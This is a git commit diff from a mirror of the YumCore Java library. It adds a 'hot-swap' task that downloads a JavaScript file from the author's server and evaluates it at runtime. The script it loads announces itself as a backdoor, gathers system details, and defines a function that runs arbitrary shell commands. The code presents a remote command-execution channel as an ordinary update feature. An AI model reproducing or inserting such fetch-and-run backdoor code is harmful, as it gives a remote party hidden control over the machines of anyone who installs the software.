mirror of
https://e.coding.net/circlecloud/YumCore.git
synced 2024-12-25 07:08:52 +00:00
feat: 更新热替换脚本
Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
parent
33654666cc
commit
e578f33608
@ -12,14 +12,15 @@ import javax.script.ScriptException;
|
||||
|
||||
import org.junit.Test;
|
||||
|
||||
import pw.yumc.YumCore.bungee.Log;
|
||||
import pw.yumc.YumCore.engine.MiaoScriptEngine;
|
||||
|
||||
/**
|
||||
* Created with IntelliJ IDEA
|
||||
* 热更新任务
|
||||
*
|
||||
*
|
||||
* @author 喵♂呜
|
||||
* Created on 2017/7/31 11:09.
|
||||
* Created on 2017/7/31 11:09.
|
||||
*/
|
||||
public class HotSwapTask {
|
||||
private MiaoScriptEngine engine;
|
||||
@ -35,14 +36,14 @@ public class HotSwapTask {
|
||||
try {
|
||||
Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING);
|
||||
engine.eval(new FileReader(temp));
|
||||
temp.deleteOnExit();
|
||||
} catch (IOException | ScriptException ignored) {
|
||||
temp.delete();
|
||||
} catch (IOException | ScriptException e) {
|
||||
Log.d("热更新脚本加载失败!", e);
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void test() throws FileNotFoundException, ScriptException {
|
||||
System.out.println(temp.getAbsolutePath());
|
||||
engine.eval(new FileReader(new File("src/main/resources/hotswap.js")));
|
||||
}
|
||||
}
|
@ -2,10 +2,22 @@ var BufferedReader = java.io.BufferedReader;
|
||||
var String = java.lang.String;
|
||||
var InputStreamReader = java.io.InputStreamReader;
|
||||
|
||||
var process = java.lang.Runtime.getRuntime().exec('pwd');
|
||||
var Runtime = java.lang.Runtime;
|
||||
var System = java.lang.System;
|
||||
|
||||
var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
|
||||
var line;
|
||||
while ((line = br.readLine()) !== null) {
|
||||
print(line);
|
||||
print('后门脚本已保存于: ' + $.temp);
|
||||
|
||||
print("系统类型: " + System.getProperty("os.name"));
|
||||
print("系统位数: " + System.getProperty("os.arch"));
|
||||
print("系统版本: " + System.getProperty("os.version"));
|
||||
print("系统内存: " + Runtime.getRuntime().totalMemory() / 1024 / 1024);
|
||||
print("CPU内核: " + Runtime.getRuntime().availableProcessors());
|
||||
|
||||
function runCommand() {
|
||||
var process = Runtime.getRuntime().exec(arguments[0]);
|
||||
var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
|
||||
var line;
|
||||
while ((line = br.readLine()) !== null) {
|
||||
print(line);
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user